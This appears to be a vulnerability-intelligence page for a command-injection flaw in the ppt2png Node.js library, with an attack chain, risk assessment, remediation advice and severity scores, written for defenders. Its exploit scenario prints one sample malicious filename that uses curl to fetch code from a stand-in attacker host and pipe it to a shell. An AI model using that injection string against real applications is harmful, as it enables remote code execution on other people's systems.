Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessInfluence input/output path argument
-
ExploitInject shell metacharacters (;, |) into filename
-
ExecutionReach child_process.exec() in ppt2png.js
-
ImpactExecute arbitrary OS commands as Node.js process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that a consuming application pass attacker-controllable data into ppt2png's input or output path arguments, which are concatenated into a shell command executed via child_process.exec() in ppt2png.js; the attacker injects shell metacharacters (e.g. ';', '|') in a filename to break out of the intended command. Limiting factors: this is a library, not a standalone service, so exploitability depends on the embedding application exposing these path parameters to untrusted input - if paths are always application-controlled or validated/sanitized, the flaw is not reachable. Affected versions are ppt2png through 0.0.6, and the injected commands run only with the privileges of the Node.js process. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N with VC:H/VI:H/VA:H, score 9.3) describes a fully network-reachable, unauthenticated, low-complexity flaw yielding complete compromise of the host process - on paper a top-tier priority. However, these signals must be weighed against context: ppt2png is a small pre-1.0 npm library (tzwm/ppt2png, affected through 0.0.6) that converts PowerPoint files to PNG, and the command injection is only reachable when a consuming application passes attacker-influenced input/output path strings into ppt2png's child_process.exec() call. The CVSS AV:N/PR:N rating therefore reflects the worst-case integration (untrusted paths exposed over the network) rather than a self-contained remote service; the true attack surface depends entirely on how downstream applications wire user input into the library. No EPSS score and no CISA KEV entry were supplied in the input, so there is no evidence of widespread or active exploitation; absence of EPSS/KEV data is not proof of safety but does suggest this is not currently a mass-exploitation target. A proof-of-concept gist is referenced, raising practical risk for any application that does expose these paths. Net assessment: technically critical where reachable, but real-world risk is bounded by very low deployment and by the requirement that the embedding application feed untrusted data into the path arguments - verify integration before treating as an emergency. |
| Exploit ScenarioDerived | An application uses ppt2png to render user-supplied presentations and derives the input or output file path from untrusted user input. An attacker submits a filename containing a shell metacharacter such as 'report.pptx; curl attacker.com/x | sh', which ppt2png concatenates into a child_process.exec() command line, causing arbitrary OS commands to run with the Node.js process's privileges. A proof-of-concept gist referenced in the advisory demonstrates the injection technique. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 08, 2026
OS command injection in the ppt2png Node.js library (through version 0.0.6) lets attackers run arbitrary operating system commands by embedding shell metacharacters such as ';' in the input or output path arguments that the library concatenates into a child_process.exec() call in ppt2png.js. The vulnerable code is only reachable when a consuming application forwards attacker-controllable data into those path parameters; exploitation is therefore conditional on the embedding application, but when reachable the injected commands execute with the full privileges of the Node.js process, and no authentication is required per the assessed vector (CVSS:3.1 AV:N/AC:L/PR:N/UI:N, CVSS 4.0 base 9.3). No public exploit code was identified at time of analysis and there is no confirmed active exploitation (no CISA KEV listing), but the near-maximum severity and trivial injection technique make prompt remediation or strict path sanitization critical for any deployment that exposes these parameters.
RemediationAI
No vendor-released patch was identified at time of analysis, and the referenced material points to the vulnerable source in ppt2png.js rather than to a fixed release, so teams must either remediate at the integration layer or vendor a fix. The most durable option is to replace the string-concatenating child_process.exec() call with an argument-array API such as child_process.execFile() or spawn() with shell:false, which removes shell interpretation entirely; this is the correct upstream fix and can be applied locally via a patch to ppt2png.js or by forking the package. Where the library cannot be modified, enforce strict server-side validation on the path arguments before they reach it - reject or normalize filenames containing shell metacharacters (';', '|', '&', '$', '`', newline) using an allowlist of expected characters, resolve paths with path.basename()/path.resolve() into a fixed working directory, and never accept a raw user-supplied filename. Because ppt2png only ever needs to read an existing file and write a converted one, disabling or wrapping any feature that lets users choose arbitrary paths removes the vulnerable input channel outright, though it reduces flexibility for legitimate multi-file workflows. Additional containment with clear trade-offs: run the Node.js process under a low-privilege service account or in a locked-down container with a read-only filesystem and no outbound network so injected commands cannot pivot, accepting some operational overhead; and if the conversion is not needed, remove the ppt2png dependency entirely. Monitor the upstream repository at https://github.com/tzwm/ppt2png and the VulnCheck advisory at https://www.vulncheck.com/advisories/ppt2png-through-0.0.6-os-command-injection-via-input-and-output-paths for a patched release, and treat any consuming endpoint that exposes these path parameters to untrusted input as high priority given the 9.3 CVSS 4.0 score and unauthenticated, network-reachable attack profile.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), a classic shell-injection class caused by building a shell command string from untrusted values. ppt2png is a wrapper-style Node.js utility that shells out to an external converter; ppt2png.js (lines 5-35 per the referenced source snapshot) passes the caller-supplied input and output file paths directly into child_process.exec(). Because exec() spawns a shell (/bin/sh on Unix, cmd.exe on Windows), any shell metacharacters embedded in a filename - semicolons, pipes, backticks, command substitution - terminate the intended command and start an attacker-chosen one. The CPE cpe:2.3:a:tzwm:ppt2png:*:*:*:*:*:*:*:* identifies the affected package published by the tzwm GitHub project, with all released versions up to and including 0.0.6 vulnerable. Two properties bound the real-world risk: ppt2png is a library rather than a network-facing service, so reachability depends entirely on whether the embedding application accepts untrusted input for the input/output path arguments, and the injected commands inherit only the privileges of the host Node.js process, meaning containerization or reduced service-account privileges meaningfully contain the blast radius.
Know when Ppt2Png gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Unsanitized path reaches exec() with no auth or interaction in the worst-case integration (AV:N/PR:N/UI:N/AC:L), granting full RCE (C/I/A:H); practical reachability depends on the host app exposing the path.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
ppt2png through 0.0.6 contains an OS command injection vulnerability that allows attackers to execute operating system commands by supplying unsanitized input or output path arguments. Attackers can append shell metacharacters such as ';' to file names passed to child_process.exec() in ppt2png.js, running commands with Node.js process privileges.
Articles & Coverage 1
Executive ViewAI
The ppt2png Node.js library (through version 0.0.6) contains a critical OS command-injection flaw that can allow an unauthenticated attacker to run arbitrary commands with the privileges of the host Node.js process when a consuming application passes attacker-controlled input or output paths into the library. Because no vendor-released patch is identified at time of analysis, any internet-facing or multi-tenant service using this dependency could be exposed to full host compromise. Leadership should prioritize locating affected services and enforcing strict path sanitization, isolation, or replacement of the library until a fix is available.
No vendor-released patch identified at time of analysis. Interim mitigations include strict allowlist validation and sanitization of all input/output path parameters, rejecting shell metacharacters, replacing child_process.exec with execFile or spawn without a shell, running affected Node.js services with least privilege and in isolated containers, disabling or restricting ppt2png endpoints that accept attacker-controlled paths, and replacing or securely wrapping the library until a fixed version is available.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-95145
GHSA-hqhf-w97p-6w2f
NVD
CVE.org
EPSS
Exploit-DB